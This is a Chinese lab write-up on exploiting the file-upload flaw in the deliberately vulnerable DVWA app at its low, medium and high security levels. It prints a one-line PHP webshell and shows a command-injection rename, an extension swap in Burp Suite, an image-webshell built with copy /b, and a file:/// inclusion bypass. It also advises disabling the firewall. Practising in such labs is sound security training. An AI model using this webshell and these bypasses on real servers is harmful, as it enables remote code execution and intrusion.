实训目的
学习DVWA文件上传漏洞的低、中、高等级
目录
实训环境
Win10 (靶机)
Win11(测试机)
实训工具
Phpstudy(win10)
火狐浏览器(安装有FoxyProxy插件)、BurpSuite、中国蚁剑(win11)
实训准备
1.准备一个png图片(1.png)
2.一句话马(2.php)
<?php @eval($_POST['cmd']);
phpinfo();?>
Low等级
不管是png文件还是php文件都可以正常上传,没有任何限制,显示文件上传路径
结合文件包含漏洞查询,确保2.php上传成功并且没有被查杀(因为我的电脑一开始没有关闭防火墙,所以php文件上传之后就被删除了,根本没有发挥作用,所以一定一定要关闭防火墙!!)
php文件上传成功并且没有被删除!
Medium等级
上传png文件没有限制,上传php文件有限制
这里提供两种解决方法:
一、可以更改php文件后缀名为png,先上传png文件
因为更改后缀名之后,一句话马就不能发挥作用了,所以可以结合命令执行漏洞修改后缀名为php
127.0.0.1 | ren C:\phpstudy_pro\WWW\dvwa-master\hackable\uploads\2.png 2.php
在文件包含里面查询,php文件解析成功
二、上传一个php伪装的png文件,然后利用bp进行抓包,最后把后缀png改为php,发送放包
文件上传成功,文件上传路径../../hackable/uploads/3.php
在蚁剑里面建立连接,看文件是否能解析成功。
url地址 http://靶机ip地址/dvwa-master/hackable/uploads/3.php
我的一句话马是 <?php @eval($_POST['cmd']);?>,所以连接密码就是cmd
php文件解析成功!
High等级
上传png文件没有限制,php文件有限制,high等级会识别文件内容,不可以通过更改后缀名来绕过。但是可以通过将png和php文件合并的方式上传,即生成图片马。
合成图片马
将png文件一句话马txt放在同一文件夹下
在cmd中进入该文件夹,输入口令,合成图片马
copy 1.png /b + 3.php /a 2.png
图片马上传成功
使用文件包含查询上传的图片马,high等级只能查询file文件,所以我们可以使用file:///绕过.
page=file:///C:\phpstudy_pro\WWW\dvwa-master\hackable\uploads\2.png
总结:文件上传漏洞能够被利用的三个条件(1)一句话马成功上传,没有被查杀,(2)知道一句话马上传路径,(3)一句话马能发挥作用。